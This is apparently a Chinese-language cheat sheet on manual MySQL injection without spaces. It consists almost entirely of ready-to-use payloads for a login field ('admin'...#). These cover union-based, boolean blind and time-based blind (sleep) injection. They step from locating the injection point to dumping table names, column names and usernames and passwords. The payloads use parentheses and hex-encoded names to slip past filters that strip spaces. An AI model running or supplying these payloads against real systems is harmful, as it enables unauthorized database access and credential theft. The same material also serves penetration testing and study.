mysql 手工盲注_无空格下进行MySQL 手工注入

数据库结构

数据库内容

1.报错注入

判断注入点

admin'and(1=1)#

admin'and(1=2)#

确定列数

admin'union(select(1),(2),(3))#

查询user

admin'union(select(1),(user()),(3))#

查询数据库名

admin'union(select(1),(database()),(3))#

查询表名

admin'union(select(table_name),(2),(3)from(information_schema.tables)where(table_schema=0x74657374))#

查询列名

admin'union((select(column_name),(2),(3)from(information_schema.columns)where(table_schema=0x74657374)and(table_name=0x75736572)))#

查询数据

admin'union(select(username),(password),(3)from(user))#

2.布尔盲注

确定列数

admin'union(select(1),(2),(3))#

确定数据库名长度

admin'and(length(database())=4)#

获取数据库第一位字符串,剩下的以此类推

admin'and(ascii(mid(database(),1,1))=116)#

获取表名

admin'and(select(ascii(mid(group_concat(table_name),1,1))=116)from(information_schema.columns)where(table_schema=0x74657374))#

获取字段名

admin'and(select(ascii(mid(group_concat(column_name),1,1))=73)from(information_schema.columns)where(table_schema=0x74657374)and(table_name=0x75736572))#

获取数据

admin'and(select(ascii(mid(group_concat(username),1,1))=97)from(user))#

3.时间盲注

获取数据库名称

admin'and(if((ascii(mid(database(),1,1))=116),sleep(5),0))#

获取表名

admin'and(if((select(ascii(mid(group_concat(table_name),1,1))=116)from(information_schema.columns)where(table_schema=0x74657374)),sleep(5),0))#

获取字段名

admin'and(if((select(ascii(mid(group_concat(column_name),1,1))=73)from(information_schema.columns)where(table_schema=0x74657374)and(table_name=0x75736572)),sleep(5),0))#

获取数据

admin'and(if((select(ascii(mid(group_concat(username),1,1))=97)from(user)),sleep(5),1))#